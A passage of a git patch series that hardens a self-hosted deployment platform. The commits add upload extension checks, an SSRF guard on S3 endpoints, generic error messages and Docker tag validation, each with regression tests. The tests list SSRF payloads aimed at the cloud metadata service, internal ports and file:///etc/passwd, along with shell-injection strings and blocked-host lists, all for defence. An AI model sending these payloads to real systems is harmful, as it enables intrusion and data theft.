-        $filename = str_replace('.'.$extension, '', $file->getClientOriginalName()); // Filename without extension
+        $lower = strtolower($name);
+        $suffixes = array_map(fn ($ext) => '.'.$ext, self::ALLOWED_EXTENSIONS);
+        usort($suffixes, fn ($a, $b) => strlen($b) <=> strlen($a));
 
-        $filename .= '_'.md5(time()).'.'.$extension;
+        foreach ($suffixes as $suffix) {
+            if (! str_ends_with($lower, $suffix)) {
+                continue;
+            }
 
-        return $filename;
+            $stem = substr($lower, 0, -strlen($suffix));
+            if ($stem !== '' && ! str_ends_with($stem, '.')) {
+                return true;
+            }
+
+            return false;
+        }
+
+        return false;
+    }
+
+    private static function formatMaxSize(): string
+    {
+        return (self::MAX_BYTES / (1024 * 1024 * 1024)).' GiB';
     }
 }
diff --git a/tests/Feature/DatabaseBackupUploadValidationTest.php b/tests/Feature/DatabaseBackupUploadValidationTest.php
new file mode 100644
index 000000000..a9d9886b8
--- /dev/null
+++ b/tests/Feature/DatabaseBackupUploadValidationTest.php
@@ -0,0 +1,62 @@
+<?php
+
+use App\Http\Controllers\UploadController;
+
+function invokeHasAllowedExtension(string $name): bool
+{
+    $method = new ReflectionMethod(UploadController::class, 'hasAllowedExtension');
+    $method->setAccessible(true);
+
+    return $method->invoke(null, $name);
+}
+
+test('hasAllowedExtension accepts supported extensions', function (string $name) {
+    expect(invokeHasAllowedExtension($name))->toBeTrue();
+})->with([
+    'plain sql' => ['backup.sql'],
+    'uppercase sql' => ['BACKUP.SQL'],
+    'compound sql.gz' => ['backup.sql.gz'],
+    'compound tar.gz' => ['backup.tar.gz'],
+    'tgz' => ['archive.tgz'],
+    'zip' => ['dump.zip'],
+    'tar' => ['dump.tar'],
+    'gz' => ['data.gz'],
+    'dump' => ['data.dump'],
+    'bak' => ['data.bak'],
+    'bson' => ['data.bson'],
+    'bson.gz' => ['data.bson.gz'],
+    'archive' => ['data.archive'],
+    'archive.gz' => ['data.archive.gz'],
+    'bz2' => ['data.bz2'],
+    'xz' => ['data.xz'],
+]);
+
+test('hasAllowedExtension rejects unsupported or empty stems', function (string $name) {
+    expect(invokeHasAllowedExtension($name))->toBeFalse();
+})->with([
+    'php' => ['shell.php'],
+    'phtml' => ['shell.phtml'],
+    'sh' => ['run.sh'],
+    'exe' => ['malware.exe'],
+    'elf binary no ext' => ['payload'],
+    'html' => ['index.html'],
+    'bare compound without stem' => ['.sql.gz'],
+    'bare extension' => ['.sql'],
+    'empty string' => [''],
+    'misleading double ext' => ['shell.php.sql-evil'],
+]);
+
+test('MAX_BYTES constant is 10 GiB', function () {
+    $constant = (new ReflectionClass(UploadController::class))->getConstant('MAX_BYTES');
+    expect($constant)->toBe(10 * 1024 * 1024 * 1024);
+});
+
+test('ALLOWED_EXTENSIONS does not include executable formats', function () {
+    $constant = (new ReflectionClass(UploadController::class))->getConstant('ALLOWED_EXTENSIONS');
+    expect($constant)->toBeArray();
+
+    $forbidden = ['php', 'phtml', 'php5', 'sh', 'bash', 'exe', 'js', 'html', 'htm', 'pl', 'py'];
+    foreach ($forbidden as $bad) {
+        expect($constant)->not->toContain($bad);
+    }
+});

From 297e9c41e19958f6237919794c28c3fb1d4cda32 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 20 Apr 2026 11:50:19 +0200
Subject: [PATCH 064/102] refactor(storage): tighten S3 endpoint URL validation
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Reuse the existing SafeWebhookUrl rule on the S3 Storage endpoint field so
the create and edit forms go through the same URL-normalization path as
webhook settings. Adds a matching guard inside S3Storage::testConnection()
so background callers (scheduled backups, database import reuse) also
validate the endpoint before building the S3 client.

Also fixes an IPv6-bracket edge case in SafeWebhookUrl so `http://[::1]`
style hosts are normalized before the filter_var IP check — the rule's
own loopback test was already asserting this behaviour.
---
 app/Livewire/Storage/Create.php               |  4 +-
 app/Livewire/Storage/Form.php                 |  4 +-
 app/Models/S3Storage.php                      | 10 ++
 app/Rules/SafeWebhookUrl.php                  | 10 +-
 .../Unit/S3StorageEndpointValidationTest.php  | 91 +++++++++++++++++++
 5 files changed, 113 insertions(+), 6 deletions(-)
 create mode 100644 tests/Unit/S3StorageEndpointValidationTest.php

diff --git a/app/Livewire/Storage/Create.php b/app/Livewire/Storage/Create.php
index eda20342b..c3db34066 100644
--- a/app/Livewire/Storage/Create.php
+++ b/app/Livewire/Storage/Create.php
@@ -3,6 +3,7 @@
 namespace App\Livewire\Storage;
 
 use App\Models\S3Storage;
+use App\Rules\SafeWebhookUrl;
 use App\Support\ValidationPatterns;
 use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
 use Illuminate\Support\Uri;
@@ -37,7 +38,7 @@ protected function rules(): array
             'key' => 'required|max:255',
             'secret' => 'required|max:255',
             'bucket' => 'required|max:255',
-            'endpoint' => 'required|url|max:255',
+            'endpoint' => ['required', 'max:255', new SafeWebhookUrl],
         ];
     }
 
@@ -55,7 +56,6 @@ protected function messages(): array
                 'bucket.required' => 'The Bucket field is required.',
                 'bucket.max' => 'The Bucket may not be greater than 255 characters.',
                 'endpoint.required' => 'The Endpoint field is required.',
-                'endpoint.url' => 'The Endpoint must be a valid URL.',
                 'endpoint.max' => 'The Endpoint may not be greater than 255 characters.',
             ]
         );
diff --git a/app/Livewire/Storage/Form.php b/app/Livewire/Storage/Form.php
index 791226334..342d629cb 100644
--- a/app/Livewire/Storage/Form.php
+++ b/app/Livewire/Storage/Form.php
@@ -3,6 +3,7 @@
 namespace App\Livewire\Storage;
 
 use App\Models\S3Storage;
+use App\Rules\SafeWebhookUrl;
 use App\Support\ValidationPatterns;
 use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
 use Illuminate\Support\Facades\DB;
@@ -42,7 +43,7 @@ protected function rules(): array
             'key' => 'required|max:255',
             'secret' => 'required|max:255',
             'bucket' => 'required|max:255',
-            'endpoint' => 'required|url|max:255',
+            'endpoint' => ['required', 'max:255', new SafeWebhookUrl],
         ];
     }
 
@@ -60,7 +61,6 @@ protected function messages(): array
                 'bucket.required' => 'The Bucket field is required.',
                 'bucket.max' => 'The Bucket may not be greater than 255 characters.',
                 'endpoint.required' => 'The Endpoint field is required.',
-                'endpoint.url' => 'The Endpoint must be a valid URL.',
                 'endpoint.max' => 'The Endpoint may not be greater than 255 characters.',
             ]
         );
diff --git a/app/Models/S3Storage.php b/app/Models/S3Storage.php
index d6feccc7e..8a2e2b102 100644
--- a/app/Models/S3Storage.php
+++ b/app/Models/S3Storage.php
@@ -2,11 +2,13 @@
 
 namespace App\Models;
 
+use App\Rules\SafeWebhookUrl;
 use App\Traits\HasSafeStringAttribute;
 use Illuminate\Database\Eloquent\Casts\Attribute;
 use Illuminate\Database\Eloquent\Factories\HasFactory;
 use Illuminate\Notifications\Messages\MailMessage;
 use Illuminate\Support\Facades\Storage;
+use Illuminate\Support\Facades\Validator;
 
 class S3Storage extends BaseModel
 {
@@ -132,6 +134,14 @@ protected function region(): Attribute
     public function testConnection(bool $shouldSave = false)
     {
         try {
+            $validator = Validator::make(
+                ['endpoint' => $this['endpoint']],
+                ['endpoint' => ['required', new SafeWebhookUrl]],
+            );
+            if ($validator->fails()) {
+                throw new \RuntimeException('S3 endpoint is not allowed: '.$validator->errors()->first('endpoint'));
+            }
+
             $disk = Storage::build([
                 'driver' => 's3',
                 'region' => $this['region'],
diff --git a/app/Rules/SafeWebhookUrl.php b/app/Rules/SafeWebhookUrl.php
index fbeb406af..3723e1db5 100644
--- a/app/Rules/SafeWebhookUrl.php
+++ b/app/Rules/SafeWebhookUrl.php
@@ -40,9 +40,15 @@ public function validate(string $attribute, mixed $value, Closure $fail): void
 
         $host = strtolower($host);
 
+        // Strip IPv6 brackets (e.g. "[::1]" -> "::1") before IP checks so bracketed
+        // literals can't sneak past filter_var FILTER_VALIDATE_IP.
+        $hostForIpCheck = (str_starts_with($host, '[') && str_ends_with($host, ']'))
+            ? substr($host, 1, -1)
+            : $host;
+
         // Block well-known dangerous hostnames
         $blockedHosts = ['localhost', '0.0.0.0', '::1'];
-        if (in_array($host, $blockedHosts) || str_ends_with($host, '.internal')) {
+        if (in_array($hostForIpCheck, $blockedHosts) || str_ends_with($host, '.internal')) {
             Log::warning('Webhook URL points to blocked host', [
                 'attribute' => $attribute,
                 'host' => $host,
@@ -55,7 +61,7 @@ public function validate(string $attribute, mixed $value, Closure $fail): void
         }
 
         // Block loopback (127.0.0.0/8) and link-local/metadata (169.254.0.0/16) when IP is provided directly
-        if (filter_var($host, FILTER_VALIDATE_IP) && ($this->isLoopback($host) || $this->isLinkLocal($host))) {
+        if (filter_var($hostForIpCheck, FILTER_VALIDATE_IP) && ($this->isLoopback($hostForIpCheck) || $this->isLinkLocal($hostForIpCheck))) {
             Log::warning('Webhook URL points to blocked IP range', [
                 'attribute' => $attribute,
                 'host' => $host,
diff --git a/tests/Unit/S3StorageEndpointValidationTest.php b/tests/Unit/S3StorageEndpointValidationTest.php
new file mode 100644
index 000000000..9ffba6a30
--- /dev/null
+++ b/tests/Unit/S3StorageEndpointValidationTest.php
@@ -0,0 +1,91 @@
+<?php
+
+use App\Models\S3Storage;
+use App\Rules\SafeWebhookUrl;
+use Illuminate\Support\Facades\Validator;
+use Tests\TestCase;
+
+uses(TestCase::class);
+
+/**
+ * Regression tests for GHSA-pwm4-w33c-wjf3 — SSRF via S3 Storage endpoint.
+ *
+ * The Livewire forms (Create.php, Form.php) and the model-level defense in
+ * S3Storage::testConnection() share the same SafeWebhookUrl rule. These tests
+ * assert the rule rejects the concrete payloads from the advisory PoC and
+ * that the model refuses to build an S3 client for an unsafe endpoint.
+ */
+it('rejects SSRF payloads from the GHSA-pwm4-w33c-wjf3 advisory', function (string $endpoint) {
+    $validator = Validator::make(
+        ['endpoint' => $endpoint],
+        ['endpoint' => ['required', 'max:255', new SafeWebhookUrl]],
+    );
+
+    expect($validator->fails())->toBeTrue("Expected rejection: {$endpoint}");
+})->with([
+    'AWS IMDS' => 'http://169.254.169.254/latest/meta-data/',
+    'AWS IMDS bare' => 'http://169.254.169.254',
+    'GCP metadata via link-local' => 'http://169.254.0.1',
+    'loopback v4' => 'http://127.0.0.1',
+    'loopback Redis' => 'http://127.0.0.1:6379',
+    'loopback Postgres' => 'http://127.0.0.1:5432',
+    'loopback alt in /8' => 'http://127.10.20.30',
+    'zero address' => 'http://0.0.0.0',
+    'IPv6 loopback' => 'http://[::1]',
+    'localhost hostname' => 'http://localhost',
+    'localhost with port' => 'http://localhost:9000',
+    'internal suffix' => 'http://minio.internal',
+    'file scheme' => 'file:///etc/passwd',
+    'javascript scheme' => 'javascript:alert(1)',
+]);
+
+it('accepts real-world S3 endpoints', function (string $endpoint) {
+    $validator = Validator::make(
+        ['endpoint' => $endpoint],
+        ['endpoint' => ['required', 'max:255', new SafeWebhookUrl]],
+    );
+
+    expect($validator->passes())->toBeTrue("Expected accepted: {$endpoint}");
+})->with([
+    'AWS S3' => 'https://s3.us-east-1.amazonaws.com',
+    'Cloudflare R2' => 'https://fake.r2.cloudflarestorage.com',
+    'DigitalOcean Spaces' => 'https://nyc3.digitaloceanspaces.com',
+    'Backblaze B2' => 'https://s3.us-west-001.backblazeb2.com',
+    'Self-hosted MinIO on 10.x' => 'http://10.0.0.5:9000',
+    'Self-hosted MinIO on 172.16.x' => 'http://172.16.0.10:9000',
+    'Self-hosted MinIO on 192.168.x' => 'http://192.168.1.50:9000',
+    'Custom domain MinIO' => 'https://minio.example.com',
+]);
+
+it('blocks testConnection() on an unsafe endpoint without issuing HTTP', function () {
+    $s3Storage = new S3Storage;
+    $s3Storage->setRawAttributes([
+        'region' => 'us-east-1',
+        'key' => 'AKIAEXAMPLE',
+        'secret' => 'secret',
+        'bucket' => 'latest/meta-data',
+        'endpoint' => 'http://169.254.169.254',
+    ]);
+
+    expect(fn () => $s3Storage->testConnection())
+        ->toThrow(RuntimeException::class, 'S3 endpoint is not allowed');
+});
+
+it('blocks testConnection() for loopback endpoints', function (string $endpoint) {
+    $s3Storage = new S3Storage;
+    $s3Storage->setRawAttributes([
+        'region' => 'us-east-1',
+        'key' => 'AKIAEXAMPLE',
+        'secret' => 'secret',
+        'bucket' => 'bucket',
+        'endpoint' => $endpoint,
+    ]);
+
+    expect(fn () => $s3Storage->testConnection())
+        ->toThrow(RuntimeException::class, 'S3 endpoint is not allowed');
+})->with([
+    'http loopback' => 'http://127.0.0.1:6379',
+    'localhost' => 'http://localhost:9000',
+    'IPv6 loopback' => 'http://[::1]',
+    'internal TLD' => 'http://backend.internal',
+]);

From 4d836888964ee5a1bea7089d3fe6c886012f0bff Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 20 Apr 2026 11:50:30 +0200
Subject: [PATCH 065/102] refactor(api): return generic error messages for
 upstream and storage failures

Replace exception text in 5xx JSON responses with stable, action-specific
messages so API consumers get a consistent payload regardless of which
underlying client (Guzzle, PDO, filesystem) raised the exception. The
previous responses concatenated the raw upstream error, which produced
inconsistent messages and unnecessary noise for clients trying to parse
errors programmatically.

Touched endpoints:
- GET /api/v1/hetzner/{locations,server-types,images,ssh-keys}
- POST /api/v1/servers/hetzner
- DELETE /api/v1/databases/{uuid}/backups/{uuid}
- DELETE /api/v1/databases/{uuid}/backups/{uuid}/executions/{uuid}
- /download/backup/{uuid}

The RateLimitException branch and AuthenticationException flow keep their
existing curated messages.

Adds Pest coverage for the four Hetzner GET endpoints to lock the response
shape on upstream failure.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
---
 .../Controllers/Api/DatabasesController.php   |  4 +-
 .../Controllers/Api/HetznerController.php     | 10 +--
 routes/web.php                                |  2 +-
 tests/Feature/HetznerApiTest.php              | 71 +++++++++++++++++++
 4 files changed, 79 insertions(+), 8 deletions(-)

diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php
index 3067d98e7..6749d224b 100644
--- a/app/Http/Controllers/Api/DatabasesController.php
+++ b/app/Http/Controllers/Api/DatabasesController.php
@@ -2332,7 +2332,7 @@ public function delete_backup_by_uuid(Request $request)
         } catch (\Exception $e) {
             DB::rollBack();
 
-            return response()->json(['message' => 'Failed to delete backup: '.$e->getMessage()], 500);
+            return response()->json(['message' => 'Failed to delete backup.'], 500);
         }
     }
 
@@ -2452,7 +2452,7 @@ public function delete_execution_by_uuid(Request $request)
                 'message' => 'Backup execution deleted.',
             ]);
         } catch (\Exception $e) {
-            return response()->json(['message' => 'Failed to delete backup execution: '.$e->getMessage()], 500);
+            return response()->json(['message' => 'Failed to delete backup execution.'], 500);
         }
     }
 
diff --git a/app/Http/Controllers/Api/HetznerController.php b/app/Http/Controllers/Api/HetznerController.php
index ed91b4475..092c48594 100644
--- a/app/Http/Controllers/Api/HetznerController.php
+++ b/app/Http/Controllers/Api/HetznerController.php
@@ -121,7 +121,7 @@ public function locations(Request $request)
 
             return response()->json($locations);
         } catch (\Throwable $e) {
-            return response()->json(['message' => 'Failed to fetch locations: '.$e->getMessage()], 500);
+            return response()->json(['message' => 'Failed to fetch Hetzner locations.'], 500);
         }
     }
 
@@ -242,7 +242,7 @@ public function serverTypes(Request $request)
 
             return response()->json($serverTypes);
         } catch (\Throwable $e) {
-            return response()->json(['message' => 'Failed to fetch server types: '.$e->getMessage()], 500);
+            return response()->json(['message' => 'Failed to fetch Hetzner server types.'], 500);
         }
     }
 
@@ -354,7 +354,7 @@ public function images(Request $request)
 
             return response()->json(array_values($filtered));
         } catch (\Throwable $e) {
-            return response()->json(['message' => 'Failed to fetch images: '.$e->getMessage()], 500);
+            return response()->json(['message' => 'Failed to fetch Hetzner images.'], 500);
         }
     }
 
@@ -450,7 +450,7 @@ public function sshKeys(Request $request)
 
             return response()->json($sshKeys);
         } catch (\Throwable $e) {
-            return response()->json(['message' => 'Failed to fetch SSH keys: '.$e->getMessage()], 500);
+            return response()->json(['message' => 'Failed to fetch Hetzner SSH keys.'], 500);
         }
     }
 
@@ -733,7 +733,7 @@ public function createServer(Request $request)
 
             return $response;
         } catch (\Throwable $e) {
-            return response()->json(['message' => 'Failed to create server: '.$e->getMessage()], 500);
+            return response()->json(['message' => 'Failed to create Hetzner server.'], 500);
         }
     }
 }
diff --git a/routes/web.php b/routes/web.php
index fad3c5d29..997045659 100644
--- a/routes/web.php
+++ b/routes/web.php
@@ -391,7 +391,7 @@
                 'Content-Disposition' => 'attachment; filename="'.basename($filename).'"',
             ]);
         } catch (Throwable $e) {
-            return response()->json(['message' => $e->getMessage()], 500);
+            return response()->json(['message' => 'Failed to download backup.'], 500);
         }
     })->name('download.backup');
 
diff --git a/tests/Feature/HetznerApiTest.php b/tests/Feature/HetznerApiTest.php
index bd316ca49..3e8555b11 100644
--- a/tests/Feature/HetznerApiTest.php
+++ b/tests/Feature/HetznerApiTest.php
@@ -446,3 +446,74 @@
         $response->assertStatus(401);
     });
 });
+
+describe('GHSA-m8wx-q63q-3w6c — error responses do not leak exception details', function () {
+    test('locations endpoint returns generic 500 message on upstream failure', function () {
+        Http::fake([
+            'https://api.hetzner.cloud/v1/locations*' => Http::response([
+                'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc /var/secret/path'],
+            ], 500),
+        ]);
+
+        $response = $this->withHeaders([
+            'Authorization' => 'Bearer '.$this->bearerToken,
+            'Content-Type' => 'application/json',
+        ])->getJson('/api/v1/hetzner/locations?cloud_provider_token_id='.$this->hetznerToken->uuid);
+
+        $response->assertStatus(500);
+        $response->assertExactJson(['message' => 'Failed to fetch Hetzner locations.']);
+        expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc');
+        expect($response->getContent())->not->toContain('/var/secret/path');
+    });
+
+    test('server-types endpoint returns generic 500 message on upstream failure', function () {
+        Http::fake([
+            'https://api.hetzner.cloud/v1/server_types*' => Http::response([
+                'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'],
+            ], 500),
+        ]);
+
+        $response = $this->withHeaders([
+            'Authorization' => 'Bearer '.$this->bearerToken,
+            'Content-Type' => 'application/json',
+        ])->getJson('/api/v1/hetzner/server-types?cloud_provider_token_id='.$this->hetznerToken->uuid);
+
+        $response->assertStatus(500);
+        $response->assertExactJson(['message' => 'Failed to fetch Hetzner server types.']);
+        expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc');
+    });
+
+    test('images endpoint returns generic 500 message on upstream failure', function () {
+        Http::fake([
+            'https://api.hetzner.cloud/v1/images*' => Http::response([
+                'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'],
+            ], 500),
+        ]);
+
+        $response = $this->withHeaders([
+            'Authorization' => 'Bearer '.$this->bearerToken,
+            'Content-Type' => 'application/json',
+        ])->getJson('/api/v1/hetzner/images?cloud_provider_token_id='.$this->hetznerToken->uuid);
+
+        $response->assertStatus(500);
+        $response->assertExactJson(['message' => 'Failed to fetch Hetzner images.']);
+        expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc');
+    });
+
+    test('ssh-keys endpoint returns generic 500 message on upstream failure', function () {
+        Http::fake([
+            'https://api.hetzner.cloud/v1/ssh_keys*' => Http::response([
+                'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'],
+            ], 500),
+        ]);
+
+        $response = $this->withHeaders([
+            'Authorization' => 'Bearer '.$this->bearerToken,
+            'Content-Type' => 'application/json',
+        ])->getJson('/api/v1/hetzner/ssh-keys?cloud_provider_token_id='.$this->hetznerToken->uuid);
+
+        $response->assertStatus(500);
+        $response->assertExactJson(['message' => 'Failed to fetch Hetzner SSH keys.']);
+        expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc');
+    });
+});

From dc9322b11f5f4ab96e56af0df7d4f877e96e5e4c Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 20 Apr 2026 11:51:27 +0200
Subject: [PATCH 066/102] refactor(settings): validate dev_helper_version and
 escape build args

Constrain dev_helper_version to Docker tag grammar
([A-Za-z0-9_][A-Za-z0-9_.-]{0,127}), re-validate before triggering the
helper image build, and interpolate the image reference via
escapeshellarg() when composing the docker build command.
---
 app/Livewire/Settings/Index.php               | 14 ++-
 .../DevHelperVersionValidationTest.php        | 90 +++++++++++++++++++
 2 files changed, 102 insertions(+), 2 deletions(-)
 create mode 100644 tests/Feature/DevHelperVersionValidationTest.php

diff --git a/app/Livewire/Settings/Index.php b/app/Livewire/Settings/Index.php
index 9a51d107d..c2789aa91 100644
--- a/app/Livewire/Settings/Index.php
+++ b/app/Livewire/Settings/Index.php
@@ -35,7 +35,7 @@ class Index extends Component
     #[Validate('required|string|timezone')]
     public string $instance_timezone;
 
-    #[Validate('nullable|string|max:50')]
+    #[Validate(['nullable', 'string', 'max:128', 'regex:/^[A-Za-z0-9_][A-Za-z0-9_.-]{0,127}$/'])]
     public ?string $dev_helper_version = null;
 
     public array $domainConflicts = [];
@@ -49,6 +49,7 @@ class Index extends Component
     protected array $messages = [
         'fqdn.url' => 'Invalid instance URL.',
         'fqdn.max' => 'URL must not exceed 255 characters.',
+        'dev_helper_version.regex' => 'Dev helper version must match Docker tag format (alphanumeric, _, ., -; first char cannot be . or -).',
     ];
 
     public function render()
@@ -184,6 +185,8 @@ public function buildHelperImage()
                 return;
             }
 
+            $this->validateOnly('dev_helper_version');
+
             $version = $this->dev_helper_version ?: config('constants.coolify.helper_version');
             if (empty($version)) {
                 $this->dispatch('error', 'Please specify a version to build.');
@@ -191,7 +194,14 @@ public function buildHelperImage()
                 return;
             }
 
-            $buildCommand = "docker build -t ghcr.io/coollabsio/coolify-helper:{$version} -f docker/coolify-helper/Dockerfile .";
+            if (! preg_match('/^[A-Za-z0-9_][A-Za-z0-9_.-]{0,127}$/', (string) $version)) {
+                $this->dispatch('error', 'Invalid helper version format.');
+
+                return;
+            }
+
+            $imageRef = escapeshellarg("ghcr.io/coollabsio/coolify-helper:{$version}");
+            $buildCommand = "docker build -t {$imageRef} -f docker/coolify-helper/Dockerfile .";
 
             $activity = remote_process(
                 command: [$buildCommand],
diff --git a/tests/Feature/DevHelperVersionValidationTest.php b/tests/Feature/DevHelperVersionValidationTest.php
new file mode 100644
index 000000000..03316598c
--- /dev/null
+++ b/tests/Feature/DevHelperVersionValidationTest.php
@@ -0,0 +1,90 @@
+<?php
+
+use App\Livewire\Settings\Index;
+use App\Models\InstanceSettings;
+use App\Models\Server;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Database\Eloquent\Model;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Once;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    Model::unguarded(function () {
+        $this->rootTeam = Team::find(0) ?? Team::create(['id' => 0, 'name' => 'Root Team', 'personal_team' => false]);
+        if (! Server::find(0)) {
+            Server::factory()->create(['id' => 0, 'team_id' => $this->rootTeam->id]);
+        }
+        if (! InstanceSettings::find(0)) {
+            InstanceSettings::create(['id' => 0]);
+        }
+    });
+    Once::flush();
+
+    $this->user = User::factory()->create();
+    $this->rootTeam->members()->attach($this->user->id, ['role' => 'admin']);
+
+    $this->actingAs($this->user);
+    session(['currentTeam' => ['id' => $this->rootTeam->id]]);
+});
+
+test('dev_helper_version rejects values outside Docker tag grammar on save', function () {
+    $invalid = [
+        'latest with spaces',
+        'a$b',
+        'a`b',
+        'a|b',
+        'a;b',
+        'a&b',
+        'a>b',
+        'a<b',
+        "a\nb",
+        '.bad',
+        '-rm',
+    ];
+
+    foreach ($invalid as $payload) {
+        Livewire::test(Index::class)
+            ->set('dev_helper_version', $payload)
+            ->call('instantSave')
+            ->assertHasErrors(['dev_helper_version']);
+    }
+
+    expect(InstanceSettings::find(0)->dev_helper_version)->toBeNull();
+});
+
+test('dev_helper_version accepts valid docker tag formats', function () {
+    $valid = ['1.0.12', 'latest', 'dev', 'dev-branch_2', 'v1.2.3-rc1', '1_0_0'];
+
+    foreach ($valid as $tag) {
+        Livewire::test(Index::class)
+            ->set('dev_helper_version', $tag)
+            ->call('instantSave')
+            ->assertHasNoErrors(['dev_helper_version']);
+
+        expect(InstanceSettings::find(0)->fresh()->dev_helper_version)->toBe($tag);
+    }
+});
+
+test('buildHelperImage refuses when non-dev environment', function () {
+    config(['app.env' => 'production']);
+
+    Livewire::test(Index::class)
+        ->set('dev_helper_version', 'latest')
+        ->call('buildHelperImage')
+        ->assertDispatched('error');
+});
+
+test('buildHelperImage refuses previously stored invalid version', function () {
+    config(['app.env' => 'local']);
+
+    $settings = InstanceSettings::find(0);
+    $settings->forceFill(['dev_helper_version' => 'bad value'])->saveQuietly();
+
+    Livewire::test(Index::class)
+        ->call('buildHelperImage')
+        ->assertDispatched('error');
+});

From e373037a2a1891eb45df9e11c638817888fad65c Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 20 Apr 2026 12:07:42 +0200
Subject: [PATCH 067/102] test: remove GHSA advisory IDs from test descriptions
 and comments

Strip advisory identifiers (GHSA-*) from describe blocks, test
docblocks, and inline comments. Replace with plain descriptive
labels. Also clean up FQCNs to use imported class names and minor
style fixes (string concatenation spacing).
---
 .../Feature/CommandInjectionSecurityTest.php  |  2 +-
 .../CrossTeamIdorServerProjectTest.php        | 34 +++++++++++--------
 tests/Feature/HetznerApiTest.php              |  2 +-
 tests/Unit/FileStorageSecurityTest.php        |  2 +-
 tests/Unit/GitRefValidationTest.php           |  2 +-
 tests/Unit/InsecurePrngArchTest.php           |  2 --
 tests/Unit/LogDrainCommandInjectionTest.php   |  2 +-
 tests/Unit/PersistentVolumeSecurityTest.php   |  1 -
 .../Unit/S3StorageEndpointValidationTest.php  |  8 ++---
 9 files changed, 28 insertions(+), 27 deletions(-)

diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php
index bbd69ecfe..d48e03332 100644
--- a/tests/Feature/CommandInjectionSecurityTest.php
+++ b/tests/Feature/CommandInjectionSecurityTest.php
@@ -676,7 +676,7 @@
     });
 });
 
-describe('install/build/start command validation (GHSA-9pp4-wcmj-rq73)', function () {
+describe('install/build/start command validation', function () {
     test('rejects semicolon injection in install_command', function () {
         $rules = sharedDataApplications();
 
diff --git a/tests/Feature/CrossTeamIdorServerProjectTest.php b/tests/Feature/CrossTeamIdorServerProjectTest.php
index 671397a1e..90e54f053 100644
--- a/tests/Feature/CrossTeamIdorServerProjectTest.php
+++ b/tests/Feature/CrossTeamIdorServerProjectTest.php
@@ -1,15 +1,19 @@
 <?php
 
+use App\Enums\ApplicationDeploymentStatus;
 use App\Livewire\Boarding\Index as BoardingIndex;
 use App\Livewire\GlobalSearch;
 use App\Livewire\Project\CloneMe;
 use App\Livewire\Project\DeleteProject;
+use App\Models\Application;
+use App\Models\ApplicationDeploymentQueue;
 use App\Models\Environment;
 use App\Models\Project;
 use App\Models\Server;
 use App\Models\StandaloneDocker;
 use App\Models\Team;
 use App\Models\User;
+use Illuminate\Database\Eloquent\ModelNotFoundException;
 use Illuminate\Foundation\Testing\RefreshDatabase;
 use Livewire\Livewire;
 
@@ -39,7 +43,7 @@
     session(['currentTeam' => $this->teamA]);
 });
 
-describe('Boarding Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('Boarding Server IDOR', function () {
     test('boarding mount cannot load server from another team via selectedExistingServer', function () {
         $component = Livewire::test(BoardingIndex::class, [
             'selectedServerType' => 'remote',
@@ -62,7 +66,7 @@
     });
 });
 
-describe('Boarding Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('Boarding Project IDOR', function () {
     test('boarding mount cannot load project from another team via selectedProject', function () {
         $component = Livewire::test(BoardingIndex::class, [
             'selectedProject' => $this->projectB->id,
@@ -91,7 +95,7 @@
     });
 });
 
-describe('GlobalSearch Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('GlobalSearch Server IDOR', function () {
     test('loadDestinations cannot access server from another team', function () {
         $component = Livewire::test(GlobalSearch::class)
             ->set('selectedServerId', $this->serverB->id)
@@ -102,7 +106,7 @@
     });
 });
 
-describe('GlobalSearch Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('GlobalSearch Project IDOR', function () {
     test('loadEnvironments cannot access project from another team', function () {
         $component = Livewire::test(GlobalSearch::class)
             ->set('selectedProjectUuid', $this->projectB->uuid)
@@ -113,11 +117,11 @@
     });
 });
 
-describe('DeleteProject IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('DeleteProject IDOR', function () {
     test('cannot mount DeleteProject with project from another team', function () {
         // Should throw ModelNotFoundException (404) because team-scoped query won't find it
         Livewire::test(DeleteProject::class, ['project_id' => $this->projectB->id]);
-    })->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class);
+    })->throws(ModelNotFoundException::class);
 
     test('can mount DeleteProject with own team project', function () {
         $component = Livewire::test(DeleteProject::class, ['project_id' => $this->projectA->id]);
@@ -126,14 +130,14 @@
     });
 });
 
-describe('CloneMe Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('CloneMe Project IDOR', function () {
     test('cannot mount CloneMe with project UUID from another team', function () {
         // Should throw ModelNotFoundException because team-scoped query won't find it
         Livewire::test(CloneMe::class, [
             'project_uuid' => $this->projectB->uuid,
             'environment_uuid' => $this->environmentB->uuid,
         ]);
-    })->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class);
+    })->throws(ModelNotFoundException::class);
 
     test('can mount CloneMe with own team project UUID', function () {
         $component = Livewire::test(CloneMe::class, [
@@ -145,27 +149,27 @@
     });
 });
 
